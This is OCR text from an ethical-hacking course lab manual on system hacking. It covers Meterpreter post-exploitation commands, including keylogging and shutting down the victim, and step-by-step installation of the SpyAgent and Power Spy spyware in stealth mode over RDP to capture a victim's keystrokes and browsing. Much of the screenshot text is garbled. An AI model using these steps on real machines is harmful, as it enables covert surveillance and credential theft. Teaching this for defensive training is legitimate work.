and Settings

System Volume Information
Users

i

vindow

bootmgr

dotnetfx.e

inetpub

41. The download command downloads a file from the remote machine.

42. Type download filename.extension (in this lab, dotnetfx.exe) and
press Enter.

File Edit View
rpreter >
Download
Downloaded
Downloaded
Downloaded

Search Terminal

Downloaded 4
Downloaded 5.

Downloaded
Downloaded
Downloaded
Downloaded
Downloaded
Downloaded
Downloaded
Downloaded
Downloaded
Downloaded
Downloaded
Downloaded
Downloaded
Downloaded

Downloaded 2
Downloaded 2

Downloaded
Downloaded
Downloaded

download

.08 mMiB
.14 mMiB
dotnetfx.exe

Help

23.

Skl
Dkali

dotnetfx.exe

dotnetfx.
dotnetfx
dotnetfx
dotnetfx
dotnet
dotnetfx.
dotnetfx.

MiB
MiB
MiB
MiB
MiB
MiB
MiB
MiB
MiB (
mis
MiB
Mig
miB
MiB
MiB
MiB
MiB
MiB
Mig
MiB
mig
miB
MiB
mie
dotnetfx.exe

dotnetfx.ex
dotnetfx.ex
dotnetfx.exe
dotnetfx.ex
dotnetfx.
dotnetfx.
dotnetfx,
dotnetfx.
dotnetf

dotnetfx.ex

dotnetfx.exe
dotnetfx.exe

FIGURE 8.25: Downkbading a file

dotnetfx.exe
dotnetfx.exe
dotnetfx.
> dotnetfx.
> dotnetfx.
> dotnetfx.exe
dotnetfx.exe
> dotnetfx.exe
dotnetfx e
dotnetfx
dotnetfx.e
> dotnetfx.exe
> dotnetfx
dotnetf
dotnetf
dotnetf
dotnetfx.
dotnetf
dotnetfx.ex
dotnetfx
dotnetfx
dotnetf

exe

axe
.exe
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43. The downloaded file is stored in the Home Folder by default. Click
Places, and click Home,

FIGURE 8.26: Browsing the Home Folder

44, 'The downloaded file is available in the home folder as shown in the
following screenshot:

I q::'[]OGO
© Recent [~ -_—

B E B B .

B
i

& Desktop ﬁ !-_

[ Documents Videos Wordlists R
@® Dowmloads —
77 Music

€] Pctures

H Videos

FIGURE 8.27: Downloaded file available in the Home directory

45. The search command helps you locate files on the victim machine. The
command is capable of searching through the whole system or specific
folders.

46. Type search -f “filename.ext” (here pagefile.sys) and ptess Enter.

FIGURE 8.28: Locating files on the victim machine
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47. Type keyscan_start and press Enter. This starts capturing all keyboard
input from the victim system.

Log all the Key root@Kali: ~ o0 e
strokes

Hrask 9

File Edit View Search Terminal Help

keyscan
Starting keystroke
neterpreter >

FIGURE 8.29: Capturing keyboard input

48. Switch back to the Windows 10 machine, create a text file and start
typing something.

important.te - Notepad - m} X

|
|File Edt Format View Help
;My phone number is xxxxxxxxxx and my email address is xxxxxxxxx)d

FIGURE 8.30: Performing keystrokes as a victim

49. Switch to the Kali Linux machine. Type keyscan_dump and press
Enter. This dumps all the keystrokes.

root@kali: ~ e e

Edit View Search Terminal Help
eterpreter L can start
starting t

eterpreter

neterpreter > I
FIGURE 8.31: Dumping all the keystrokes
50. Type idletime and press Enter.

51. Issuing this command displays the number of seconds for which the
user has been idle on the remote system.

root@Kkali: ~ [- O]
File Edit View Search Terminal Help
neterpreter > keyscan dump

and my email addres

2r > idletime
been idle for: 41 secs

FIGURE

fiewing the idke time

52. You may shut-down the victim machine after petforming post
exploitation.
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53. Type shutdown and press Enter. This shuts down the victim machine.

root@kali: ~

File Edit View Search Terminal Help

meterpreter > shutdown
ing down.

- Meterpreter session 1 closed Reason:

FIGURE 8.33: Shutting down the victim machine

The virtual machine "Windows 10' is turned off

To start the virtual machine, select "Start’ from the Action menu

FIGURE 8.34: Victim machine successfully shut down

Lab Analysis

Analyze and document the results related to this lab exercise. Provide your opinion of
your target’s security posture and exposure through public and free information.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

O Yes No
Platform Supported
M Classroom M iLabs
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User System Monitoring and
Surveillance using Spytech
SpyAgent

Spytech SpyAgent is a powerful computer spy software that allows you to monitor
everything users do on a computer—in total stealth. SpyAgent provides a large array
of essential computer monitoring featnres, as well as website, application, and chat-
client blocking, lockdown scheduling, and remote delivery of logs via email or FTP.

Lab Scenario

Today, employees are given access to a wide array of electronic communication
equipment. Email, instant messaging, global positioning systems, telephone systems,
and video cameras have given employers new ways to monitor the conduct and
petformance of their employees. Many employees are provided with a laptop
computer and mobile phone they can take home and use for business outside the
workplace. Whether an employee can reasonably expect privacy when using such
company-supplied equipment depends, in large part, on the security policy the
employer has put in place and made known to employees.
In this lab, we explain the process of monitoring employee activities using Spytech
SpyAgent.
Lab Objectives
The objective of this lab is to help students use Spytech and SpyAgent. After
completing this lab, students will be able to:

= Install and configure Spytech SpyAgent in a victim machine

= Monitor keystrokes typed, websites visited and Internet Traffic Data
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~7Tools
demonstrated in
this lab are
available in
Z:\CEH-
Tools\CEHv10
Module 06 System
Hacking
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Lab Enwvironment
To perform this lab, you need:

A computer running Windows Server 2016
Run this tool in Windows Server 2012(victim machine)

Or, download Spytech SpyAgent at httpiwww.spytech-
web.com/spyagent.shtml

If you wish to download the latest version, screenshots may differ

Administrative privileges to install and run tools

Lab Duration
Time: 15 Minutes
Overview of the Lab

This lab demonstrates to students how to establish remote desktop connection with
a victim machine and run a spying application named SpyAgent to secretly track user
activities.

1

This lab works only if the target machine is Turned ON.

2. Since you have seen how to escalate privileges in the earlier lab (Escalating

Privileges by Exploiting Client Side Vulnerabilities), you will use the same
technique to escalate privileges and then dump the password hashes.

On obtaining the hashes, you will use password cracking application such as
RainbowCrack to obtain plain-text passwords.

Once you have the passwords handy, you will establish 2 Remote Desktop
Connection as an attacker, install Spytech SpyAgent and leave it in stealth
mode.

Note: In this lab, you ate connecting remotely to Windows server 2012 virtual
machine. You can establish remote connection only for a user account that has
administrative ptivileges (here, Jason user account has administrative privileges,
so we shall be logging in to it).

5. 'The next task would be to log on to virtual machine as a legitimate user (here

you) and perform user activities without being aware of the application
tracking your activities in background.
Once done, you will again establish 2 Remote Desktop Connection as an

attacker, bring the application out of stealth mode, and monitor the activities
petformed on the virtual machine by the vietim (you).
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Lab Tasks

Hrask 1 1. Login to the Windows Server 2016 machine and click the Search icon from
Establish a the taskbat.
Remote Desktop

Connection = Start typing to search for
apps, files, and settings.

FIGURE 9.1: Selecting Search
2. In the Search field, search for Remote Desktop Connection.
3. C(lick Remote Desktop Connection in the Search results.

Best match

!r‘ Remote Desktop Connection

Y Deskiep app

Recent

% 1010108

Scttings

E Ajiow remote access to your computer

= Select users who can use remote
desktop

B & D

remote desktop|

FIGURE 9.2 Searching for Remote Desktop Connection
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4. 'The Remote Desktop Connection window opens. Enter the IP address of
Windows Server 2012 (in this lab, 10.10.10.12, which might differ in your
lab envitonment) in the Computer field, and click Show Options.

%, Remote Desktop Connection - X

Remote Desktop
»*) Connection

Help

FIGURE 9.3: Establishing Remote Desktop Connection

5. Enter a username granted administrative privileges (here, Jason), and click
Connect.

% Remote Desktop Connection - X

Remote Desktop
< Connection

General Display Local Resources Experience Advanced

Logon settings

m&‘ Enter the name of the remote computer.
Computer:  [10.10.10.12 v|
User name: pasonl ]
You will be asked for credentials when you connect.
] Allow me to save credentials

Connection settings

Save the cument connection settings to an RDP file or open a
‘ saved connection.

Save Save As... Open...

(= Hde Options L ixe |

FIGURE 9.4: Establishing Remote Desktop Connection
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6. The host machine tries to establish a Remote connection with the target
machine.

7. A Windows Security pop-up appeats; enter the password (qwerty) and click
OK.

Windows Security X

Enter your credentials

These credentials will be used to connect to 10.10.10.12.

6 Jason

I ooooool o

SERVER2016\Jason

[[] Remember me

More choices

FIGURE 9.5: Windows Security pop-up
8. A Remote Desktop Connection window appears; click Yes.

L

%, Remote Desktop Connection

The remote computer could not be authenticated due to problems with its
security certfficate. t may be unsafe to proceed.

Certfficate name

5] Name in the certificate from the remote computer:
WIN-OJAQ7QJ8PAI.CEH com

Certfficate emors

The following emors were encountered while validating the remote
computer's certfficate:

i\ The certificate is not from a trusted certifying authority.

Do you want to connect despite these certtfficate emors?

[C] Dont ask me again for connections to this computer

|

FIGURE 9.6: Remote Desktop Connection window
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Note: You cannot access a Remote Desktop Connection if the target machine is
shut down. Remote Desktop Connection is possible only if the machine is in
turned ON.

9. A Remote Desktop connection is successfully established, as shown in the
screenshot:

WELCOME TO SERVER MANAGER

§ local Senver

i Al Secvers p |
& ao0s o Configure this ‘ocal server
& DNS

Acd roles and features

B§ Fie and Storage Services b

e 15

" tide
ROLES AND SERVER GROUPS
Roles:d4 | Sewergroups:? Servers totat: 1
il anos 1 & ONs 1
@ Manageablay @ Manageabity
Events Events
Services Services
Porfarmanca Perfarmancs
BPA results BPA results

FIGURE 9.7: Remote Desktop Connection established ly
10. Close the Server Manager window.

11: Navigatc to Z:\CEH-Tools\CEHv10 Module 06 System
Hacking\Spyware\General Spyware\Spytech SpyAgent and double-click

Setup (password=spytech).exe.
TV Name = Type Size
B Desktop L ANTIVIRUS USERS - Please Read before In... Text Document
1 Dovmloads (# Buy SpyAgent Online nternet Shortcut
. Recentplaces (21 Getting Started with SpyAgent ntemet Shortcut
readme! Text Document
1M This PC Setup Application
(#1] SpyAgent's 10 Step Guide to Total Stealth ntemet Shortcut
€ Network

FIGURE 9.8: Installing SpyAgent
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12. If the Cannot access network resource dialog-box appears, enter the
credentials of the Windows Server 2016 machine, and click OK.

Cannot access network resource

m ActiveMode: this
option alows SpyAgent to Please enter credentials for a user that can access this

be started in monitoring resource
mode when it s opened -
no need for manually

MO, User name: | € Administrator EiZ
Password: I sscscsce

Cancell

FIGURE 9.9: Cannot access network resource dialog-box

13. The Spytech SpyAgent Setup window appears; click Next.

SpyAgent

Computer Monitoring and Activity Recording Software

FIGURE 9.10: Spytech SpyAgent Setup window
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14, The Welcome wizard of Spytech SpyAgent Setup program window
appears; read the instructions and click Next.

Welcome to the Spytech SpyAgent Setup program. This program will install
Spytech Spydgent on your computer,

NOTICE TO ANTIVIRUS USERS

Spydgent is a computer monitoring product and some antivirus solutions will
flag it as potentially harmful. Please temporarily disable your antivirus while
installing Sppdgent. Exclusion instructions are provided at the end of this
e

Chick Next to continue with the Setup program.

\WARNING: This program is protected by copyright law and intemational
treaties.

Unauthorized reproduction or distribution of this program, ot any portion of it,
may result in severe civil and criminal penalties, and will be prosecuted to
the maximum extent possible under law.

<Back [ Newt> Cancel |

FIGURE 9.11: Welcome wizard

15. 'The Important Notes wizard appeats; read the note and click Next.

|Spytech Spydgent

Build Version 9.11.17
Copyright Spytech Software and Design, Inc. 2000-2017

‘What is Spytech Sppbgent?

Spytech Spydgent is our award winning, powerful computer spy
software that allows you to monitor EVERYTHING users do on your
computer - in total stealth. Spydgent pravides a large array of essential
computer monitoring features, as well as website, application, and chat
chent blocking, lockdown scheduling, and remote delivery of logs via
email of FTP. Spybgent will put your mind at ease with its innavative
and unmatched, yet easy to use feature-set that provides the ulimate
all-in-one computer monitoring software package.

Spydgent can be ran on Windows startup in active monitoring mode

< Back Next > Cancel

FIGURE 9.12: Important Notes wizand
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EL stealch Mode: this
option allows SpyAgent to
run in total stealth.
Combined with "Active
Mode’ the software will
load and run in monitoring
mode in complete stealth.

Module 06 - System Hacking

16. The Software License Agreement window appeats, you need to accept the
agreement to install Spytech SpyAgent.

17. So, click Yes to continue.

Please read the following License Agreement. Press the PAGE DOWN key to see the rest of the
agreement.

License

1. You may use the program on a single computer at one time. You may not copy the program and
accompanying matenals except for backup purposes to use in support of using the program on a single
machine at one time.

2. You may only install this software on a computer that you own, of on a computer from which you
have consent of the owner to instal this software.

3. You may not make copies of the program for sale or distribution.
4. This software is copynghted, and all rights therein are reserved for Spytech Software. Purchase of

Do you accept all the terms of the preceding License Agreement? If you choose No, Setup will close, To
install this product, you must accept this agreement.

Print I

FIGURE 9.13: Select the Agreement
18. Choose Destination Location window appeats, verify the directory to install
Spytech SpyAgent.

19. Click Next to continue installation.

Setup wil install Spytech Spydgent in the fallowing directory.
Toinstall to this directory, click Next.
To install to a different directory, click Browse and select another directory.

‘You can choose not to install Spytech Spydgent, by chicking Cancel to exit
Setup.

- Destination Directory
IC:\CEH~TO0LS\CEHV10 MODULE 05 SYSTEM HA( | Browse... I

Space Required: 3340 K
Space Available; 22877248 K

<Back [ New> Cancel |

FIGURE9.14: Sclecting fokder for installation
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EL) splash Warning:
‘This option allows you to
display a message to the
user when SpyAgent is
statted. This message can
be configured in the
Advanced Settings=>
Splash Screen window.

ED rog Location: this
allows you to specify where
you want SpyAgent to store
its activity logs. For
Windows N'T/2000/ XP
systems monitoring ALL
users it is recommended
that the log location be set
o x:\documents and
settings\all users.

Module 06 - System Hacking

20. The Select SpyAgent Installation Type window appears; select the
Administrator/Tester sctup type.

21. Click Next.

Clhick the type of Setup you prefer, then click Next.

Program will be installed with the all software

options - and accessible via Windows start menu,
This is recommended also for new users! Help
documents are installed.

(" Stealth Installation  Program will be installed with minimum required
options and no shortcuts included in Windows
start menu. Also HELP Documents are NOT
INSTALLED.

Space Required: 3340 K
Space Available; 22875700 K

<Back [ Newt> Cancel |

FIGURE 9.15: Selecting Installation Type
22. 'The Ready to Install window appears; click Next to start installing Spytech
SpyAgent.

Setup now has enough information to start installing Spytech SpyAgent.
Click Back to make any changes before continuing. Click Cancel to exit

FIGURE 9.16: Ready to install window
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23. The Spytech SpyAgent Setup dialog-box prompts you to include an
uninstaller; click Yes.

@ Would you like to include an uninstaller?

=]

FIGURE 9.17: Selecting an uninstaller

24. A Spytech SpyAgent window appears; close the window.

Home Share View v 0
1 |4 « Windows » StartMenu » Programs » Spytech SpyAgent v & | [ Sesrch Spytech SpyAgent 2|
e Name i Date modiied Type Size
B Desktop (% License EULA 1 Z12AM  Shorteut 28
% Downloads (& Purchase SpyAgent Online! n 12ZAM  Shortcut 1XB
"§l Recent places | Read me 11102017 212 AM  Sharteut 2x8
&
{® Remove Spytech SpyAgent " Shertcut 1KB
1% ThisPC [# | SpyAgent Help Documentation W Shortcut 2KB
@ SpyAgent PC Surveillance n Sherteut 2KB
€ Network (5] SpyAgent’s 10 Step Guide to Total Stealth 17 Shortcut 258
(@ Stop SpyAgent Stesith Mode 1 Shorteut 2x8
8items

FIGURE 9.18: Spytech SpyAgent window
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25. The A NOTICE FOR ANTIVIRUS USERS window appears; read the notice,
and click Next.

Modem antivirus programs can detect a wide range of potentially Al
dangerous programs. This normally goes far beyond traditional viruses
and worms and often includes heuristic alerts, which basically means
that you can get alerts and wamings when an anfivirus program “thinks
it could be" something.
|

Thelse warmings should be expected for the following types of

applications:
- Software that logs or captures keystrokes
- Software that monitors user activity
- Software that allows you to recover passwords or other personal data
- Software that monitors of logs Internet or network activity

Since Spydgent can do all of the above, some antivirus solutions may
deem SpyAgent as ‘potentially harmful' or a 'rojan’ despite i being a
legitimate tool to monitor your computer (and users). With all Spytech
software, you can be sure our products are 100% safe to use and
virus-free.

If you run into any "trojan” related warnings, it is very lkely to be a

FIGURE 9.19: A Notice For Antivirus Users window

26. 'The Finished window appeats; uncheck View Help Documentation, and
click Close to end the setup.

Setup is complete and Spytech Spp&gent is now installed!

V' Run Spydgent

' I~ View Help Documentation I

Chick Close to end the Setup

<Baek| Close l

FIGURE 9.20: Finish window
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27. The Spytech SpyAgent dialog box appears; click Continue...

spytech

SpyAgent

Computer Monitoring and Activity Recording Software

This wmdow will be displayed on every run of S| Ee

All monitaring intervals during this trial period will rrmnate
after 30 minutes. This window is eliminated in the full version
of SpyAgent. The trial period is also unlimited as well.

SDVAaent can be purchased for individual use or for multiple
systems. Click on the Ordenng Information button for

information on how you can purchase this program.
A page will be opened in you web browser.

Ordering Info Continue.
J

FIGURE 9.21: spytech SpyAgent dialog box
28. step 1 of setup wizard appears; click click to continue....

l( spytech
v : SpyAgent
first time usage tips and help
Welcome to SpyAgent! (Step 1)

Before you can start using SpyAgent you must

g i configure your password that will be used for
gu?:yy?;;?;d:?f accessing SpyAgent. Do not lose this
your own personal email or password as it cannot be reset without a
FTPaccount. reinstallation of SpyAgent.
FIGURE 9.22: Step 1 of setup wizard
29. Enter a password in the New Password ficld, and retype the same password
in the Confirm field.
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Note: Here, the password entered is qwerty@123
30. Click OK.

—

g

FIGURE 9.23: Selecting New Password

31. The password changed pop-up appears; click OK.

A SpyAgent p d has been successfully changed,

FIGURE 924: password changed pop-up
32. step 2 of Welcome wizard appeats, click click to continue....

J ‘?% SSD'S;Agent

first time usage tips and help

Welcome to SpyAgent! (Step 2)

You will now be presented with the Easy
Configuration Wizard. You can use this wizard

to quickly setup SpyAgent’'s most frequently
used features. You can restart this wizard at
any time in the future.

FIGURE 925: Step 2 of Welcome wizard
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ED Internet Traffic
Data: This logs ALL
incoming and outgoing
internet data transmitted
and received by users. All
email passwords, FIP
passwords, website
transmissions, ete., will be
logged by this feature.

L] spyagent has the
unique ability to allow you to
have its activity logs deliversd
1o your personal e-mail
address or FTP account.

Module 06 - System Hacking

33. The Configuration scction of setup wizard appears; click the Complete +
Stealth Configuration radio button, and click Next.

1. v.—:«ndﬁrimir—iw -

2. Extras
3. Confirm Settings
4. Apply
S. Finish

Configure to run in total stealth, with all possible
logging opticns preconfigurad.

o - -

Configure with all possible logging options
preconfigured,

" Typical Configuration

Configure with the most commonly used logging
options preconfigured,

FIGURE 9.26: Configuration section

34. The Extras section of setup wizard appears; check Load on Windows Startup

option, and click Next.

I~ Send Logs to yourself via Email

Send the SpyAgent logs to your email addrass
for remote monitoring.

I” Display Alert on Startup
Alert the user that they are being monitorad
when SpyAgent starts,

o Io’;zp Ry

Set SpyAgent to Run everytime your PC is
turned on,

v 7.

FIGURE 9.27: Extras section
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Module 06 - System Hacking

35. The Confirm Settings scction of setup wizard appears; click Next to
continue.

P spytech
J 7 S pyAge nt easy configuration and setup wizard

FIGURE 9.28: Confirm settings section
36. The Apply section of setup wizard appears; click Next.

/# ) spytech
< S pyAg e nt easy configuration and setup wizard

FIGURE 929: Apply section
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ﬂ] SpyAgent has a built in
scheduling feature that allows
you to configure SpyAgent to
Jog user activities during
specific hours of the day, or
to kock down your computer
at certain tmes.

ﬂ;l SpyAgent has a featre
clled SmartLogging that Jets
you tagger monitoring when
crtain events arise, instead of
munning constantly logging
everything that users do.
Smarntlogging tics into the
keystiokes, websites visited,
applications ran, and windows
used logging functions.

Module 06 - System Hacking

37. The Finished window appears; click Finish to successfully setup SpyAgent.

1. Configuration
2. Extras
3. Confirm Settings

Configuration Finished!

You have now successfully setup SpyAgeant! If you
wish to change any settings further, click on the
buttons on the SpyAgent interface for more

options!
4. Apply

[5. Finish

FIGURE 9.30: Configuration Finished

38. The main window of SpyAgent appears, along with Step 3 of setup wizard.

39. Click Click to continue....
{ SpyAgent

]

Options

29
Keyboard & Mouse Windows Viewed = 7 | gpuiech
0 Key Vindo 4 b!
0 Key 0 Windo qged ?5 SpyAgent

first time usage tips and help

ivd o

Welcome to SpyAgent! (Step 3)

Files & Document Pb Al e

0 File Events Logged

Events Timeline
0 Events Logged

&5 [

E-Mail Activity Website Usage

0 E-Mails Logged 0 ogged 0 Connections Logged 0 Chets Logged

View Most Popular Activities Summary

Start Monito

FIGURE 9.31: Main window of SpyAgent

2 for
g Information

General
tun Setting

Logging
Snfigure Loy "
Remote Log Delivery
Configare Remo liver
Advanced Options

Finer Cantral on SpyAge

Content Filtering
Filt 1 Block
ScreenSpy

scord Desktop A
SmartLogging

Scheduling

hedule Monflarir

Behavior Alerts
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Hrask 4
Start Monitoring

LL] SpyAgent allows you
to save all of SpyAgent’s
keystrokes, websites,
windows, applications,
connections, clipboard,
activity, print jobs, file
usage, and documents logs
to a specified directory at
once - for easier viewing
kiter on - or so you can
clear your logs without
losing data.

Module 06 - System Hacking

40. If a Getting Started dialog-box appears, click No.
41. To track the general user activities, click Start Monitoring.

Hate Toe
aring Information
ols Rapons ® Halp

General
atup St g

E R
Keyboard & Mouse Program Usage Screenshots

0 Kerys Last Sesson £ Windaws Loggec 1 Appications Lagged 3 Scrampations Lageed Remote Log Delivery
ntigure Remate Oel

Advanced Options
Finar Conlral o SEyAg

L (o)

Events Timeline Flles & Documents Computer Usage

) Events Loggec 0 File Ever od 0=

Mic & Webeam Contant Filtering
lee and Sicch Actv
ged 0 Coptures L

ScreenSpy
rd Dasktop Act

6 = .6 -
.

E-Mail Activity Website Usage Internet Activities Chat and Social
0 F-Maiis Liggec © Wabsitess (rxggee 0 Convimetions Logged 0 Chals Logue Scheduling

View Most Popular Activities Summary
Behavior Alerts
altime Act der

Click "Start Mo t nitoring Usar Activitias

FIGURE 9.32: Start monitoring

42. 'The Enter Access Password window appeats; enter the password you
specified in step 31 (in this lab, qwerty@123), and click OK.

Enter Access Password
g [ooolooo.oo{ ]

[ genoet | [ ox ]

FIGURE 9.33: Entering the password
43, 'The Stealth Notice window appears; read the instructions, and click OK.
Note: To bring SpyAgent out of stealth mode, press Ctri+Shift+Alt+M.

l Stealth Mode Notice:

N
This is your first time running SpyAgent in stealth mode. Remember,
SpyAgent is now going to be totally invisible to you and other users!

To bring SpyAgent out of stealth mode either press
CONTROL+SHIFT+ALT+M on your keyboard, or run the nostealth.exe
included in SpyAgent’s installation directory!

This message will not appear again!

FIGURE 9.34: Stealth mode notice
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EEI SpyAgent features a
Trge set of eporting tools
that allow you to save and
prepare kog data for hter
viewing, documentation, and
printing, All reponts are
formatted in FITML format
for viewing with your web-
browser.

Module 06 - System Hacking

44. A SpyAgent pop-up appears. Check Do not show this Help Tip again and
Do not show Related Help Tips like this again; click click to continue....

}‘ %ypecj,;Agent

first time usage tips and help

SpyAgent is no longer monitoring your
computer. To restart monitoring press the
"Start Monitoring” button again, then enter
your password. To view logs now, click on the
appropriate log viewer.

Do not show this Help Tip again

FIGURE 9.35: Statt monitoing
45. Close the Remote Desktop Connection.

46. Now Log onto the Windows Server 2012 virtual machine’s, Jason account
as a legitimate user (assume you ate acting as a victim).

47. Browse the Internet (anything), or perform any user activity.

D tinauesteesorg *

&« C | & Secure | httpsy wewlinuxquestions.org had
9 29 %

A A A A shara your knowladge at the LQ wiki.

LinuxQuestions.org

G b
Get more out of Zimbra 3 ‘
live backup, mobile sync, videochat HSM multitennancy migration. Q/
Try It zextras.c
| mampeena |
- Linux Forum

+ Android Forum

. Chroma S Forum

« Search

. LQ Tags
Welcome Lo LinuxQuestions.ory, a friendly and sctive Linux Community. « Linux HEL

- Linux lutorialz
You are currently viewing LQ &3 & guest, By joining our community you will have the ability Lo pest topics, « LQ Job Markatplacs
recalva aur nawsletter, usa tha advanced search, subscriba to thraads and access many othar spaclal faaturas. - LQ Deels
Registration s quick, simple and absclutely fiee. Join our communily today! « Linux wiké

- Distru Reviews

Note that registered members see fewer ads, and ContentLink is completely disabled once you log in. || - ggm;‘aﬂ’::u
: x

Are you new to LinuxQuestions.org? Visit the following links: . Social Groups
Site Howto | Sita FAQ | Sitemap | Register Now « LQ Blegs
1f you have any problams with the registration process or your account login, please contact us. If you necd to Lcont)
e e
Having a problem logaing In? Please visit this page to clear all LQ-related cookles. : ol

‘ A/ gadaublecbocontjadklvaz B e wTTES ¥ G 73ARAS 5 ADwn P80 U QEHOIIDEN.. =

FIGURE 9.36: Perform User Activities
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48. Now, switch back to the host machine, and perform steps 1-8 to launch
Remote Desktop Connection, (you are logging into the machine as an
attacker).

B Windows Server 2012R2

Bt G

FIGURE 9.37: Established Remote Desktop connection

49. To bring SpyAgent out of stealth mode, press Ctri+Shift+Alt+M.
50. Spyagent will ask for an Access Password (qwerty@123); enter it and click

OK.
pr Enter Access Password
iJ [oocooooocol ]
‘ Cancel l [ oK ]
FIGURE 9.38: Entering the password
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51. To check user keystrokes from keyboard, click Keyboard & Mouse on

_Hrasks the SpyAgent GUI.
Monitor User 52. Select View Keystrokes Log.
Activities

)‘ S:p;'Agent

General
Select an Actiity Log Logaing

ous Yiew Keystrokes Log
42 Ky Lash Seamon WView Meuse Cicks Log p E d Remote Log Delivery
7 [

Advanced Options
Fiour Gl o S !

Events Timeline Files & Documents  Computer Usage Cﬂ"'ﬂv"" Filtering

E-Mail Activity
taits Logaed 2 M7 0 = J S Scheduling
In Manzarh

Behavior Alerts

FIGURE 9.39: Selecting View Keystrokes Log

53. A list of keystrokes log entries is displayed. Select an application whose
log entries you want to view. Here, bank account details have been
viewed.

Note: If 2 User Account Control pop-up appears asking you to disable the
UAC, click Yes.

54. SpyAgent displays all the resultant keystrokes for the selected application,
as shown in screenshot:

-4
Ewhgcnl Keystrokes Log Viewer - 6 entries j
B samtog B saesn 7 ciaar L Format L) Actians. & Jumptolog. ]
Selact o Keystrokes Log Entry

| Acplicaton | wrdow Titim Userare [ Time |

inuxcuesticns.org[CtA]

FIGURE 9.40: Resulted keystrokes
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55. To check the websites visited by the user, click Website Usage.
56. Select View Websites Logged.

Click Here for
Ordering Information

§ Program Options og A epons @ Help

P General

39 E] &) o

Keyboard & Mouse Windows Viewed Program Usage Screenshots
13 Wil 8 plications Lagged 2 5S¢ xshats Loge Remote Log Delivery
Jure Remote Deliver

é Advanced Options

Content Filtering

Events Timeline Files & Documents Computer Usage Mic & Webcam X Activit

ants | 8 s 2 Sessons Loggad D Captures Loggod
ScreenSpy
Select an Actlvity Log ecord Deskt !
View Websites Logged
1 rtl in
@ m View Website Usage Log ooy
E-Mail Activity Website Usage View Online Searches Log i
9E-Bake kaged 4 gec View Website Content Logs pagoc Scheduling
Schedule Monito

Hing
View Most Populas Yicwr et Cache

View Internet Image Cache Behavior Alerts

onitoring

FIGURE 9.41: Selecting View Websites Logged

57. SpyAgent displays all the user-visited website results, as shown in the

screenshot:
- - G
pyAgent Websites Log Viewer - 3 entries
Website Usage | Online Searches Website Content |
B savelog clear (3 viewSte £ Export (3 Actions.. (& Jumpto Log.

Select a Website Log Entry

Websites Visited

Al websites
wrewlinuxquestionz.org
linwxauestions.org

Pages Visited for Selected Website

Page Visiced | Uzemame | StarzTime | End Time | Active Time
7 @ 3:33:16 AM ¢ 00A:00m: 042

7 @ 3:33:21 AM 00h:D0M: 575

10/17 @ 3:46:38 AM 00h:00m:01s

uxquestons.crg Jzzon
weclinuxquastions.erg Jasen
httpzs//www.linuxquestions.crg Jzzon

FIGURE 9.42: Result of visited websites
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58. In the same way, you can select each tile to view all the activities.
59. Once you are finished, Close the remote desktop connection.

60. This way, even an attacker can hack into a machine and install SpyAgent
to spy on all activities performed by a user on his/her system.

Lab Analysis
Analyze and document the results related to this lab exercise. Provide your opinion
regarding your target’s security posture and exposure.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

O Yes No
Platform Supported
Classroom iLabs
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ICON KEY

[F=7 Valuable

information

2 Test your
knowledge
B Web exercise

28] Workbook review

7Tools
demonstrated in
this lab are
available in
Z:\CEH-
Tools\CEHv10
Module 06 System
Hacking

Module 06 - System Hacking

Web Activity Monitoring and
Recording using Power Spy

Power Spy software allows you to secretly monitor and record all activities on_your
computer, which is completely legal.

Lab Scenario

New technologies allow employers to check whether employees are wasting time at
recreational Web sites or sending unprofessional emails. At the same time,
organizations should be aware of local laws so that their legitimate business interests
do not become an unacceptable invasion of worker pfivacy. Before deploying an
employee monitoring program, you should clarify the terms of acceptable and

unacceptable use of corporate resources during work hours, and develop a
comprehensive acceptable use policy (AUP) that staff must agree to.

In this lab, we explain about monitoting employee activities using Power Spy.

Lab Objectives
The objective of this lab is to help students use the Activity Monitor tool. After
completing this lab, students will be able to:

= Install and configure Power Spy
=  Monitor keystrokes typed, websites visited, and Internet Traffic Data

Lab Environment
To perform the lab, you need:
= A computer running Windows Server 2016

= A computer running Windows Setver 2012 virtual machine (victim
machine)

®  You can download the Power Spy tool from
http//www.ematrixsoft.com/download.php ?p=power-spy-software

= If you wish to download the latest version, screenshots may differ
=  Administrative privileges to install and run tools
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QJ You can download
the Power Spy tool from
http://www.ematrix
soft.com/download.
php?p=power-spy-
software.

nTASK 1

Establish a

Remote Desktop
Connection

Module 06 - System Hacking

Lab Duration
Time: 15 Minutes
Overview of the Lab

This lab demonstrates to students how to establish remote desktop connection with
a victim machine and run Power Spy to secretly track user activities.

i
2

This lab works only if the target machine is turned ON.

As you have seen how to escalate privileges in the earlier lab (Escalating
Privileges by Exploiting Client Side Vulnerabilities), you will use the same
technique to escalate privileges and then dump the password hashes.

On obtaining the hashes, you will use password cracking application such as
RainbowCrack to obtain plain text passwords.

Once you have the passwords handy, you will establish a Remote Desktop
Connection as an attacker; install Power Spy, and leave it in stealth mode.

Note: In this lab, you are connecting remotely to 2 Windows server 2012 virtual
machine. You can establish remote connection only for a user account granted
administrative privileges (here, Jason has administrative privileges).

5

The next task will be to log onto the virtual machine as a legitimate user (in
this case, you) and perform user activities without being aware of the
application tracking your activities.

Having done so, you will again establish 2 Remote Desktop Connection as
an attacker, bring the application out of stealth mode, and monitor the
activities performed on the virtual machine by the victim (you).

Lab Tasks

1;

In the Windows Server 2016 machine, click the Search icon in the taskbar to
open the search menu.

FIGURE 10.1: Selecting Search
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2. Here, search for Remote Desktop Connection.
3. C(lick Remote Desktop Connection in the Search field.

Best match

M. Remote Desktop Connection

) Desktop app
Recent

£ 1010108

Settings

& Allow remote access 1o your computer

A Sefect users whi Gan use remote

desktop

FIGURE 102: Searching for Remote Desktop Connection

4. 'The Remote Desktop Connection window appears; enter the IP address of
Windows Server 2012 (in this lab, 10.10.10.12, which might differ in your
lab environment) in the Computer field, and click Show Options.

% Remote Desktop Connection — X

| Remote Desktop
¢ Connection

Computer: 10,10.101 v]
Username: None specified

You will be asked for credentials when you connect.

»  Show Options Connect Help

FIGURE 10.3: Esuablishing Remote Desktop Connection
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5. Enter a username whose account has administrative privileges (here, Jason),
and click Connect.

Remote Desl Connection - X
%

*] Remote Desktop
< Connection

General Display Local Resources Experience Advanced
Logon settings
&, Enter the name of the remote computer.

Computer:  [10.10.10.12 v]
User name; [Jasonl ]

You will be asked for credentials when you connect.

[] Alow me to save credentials

Connection settings
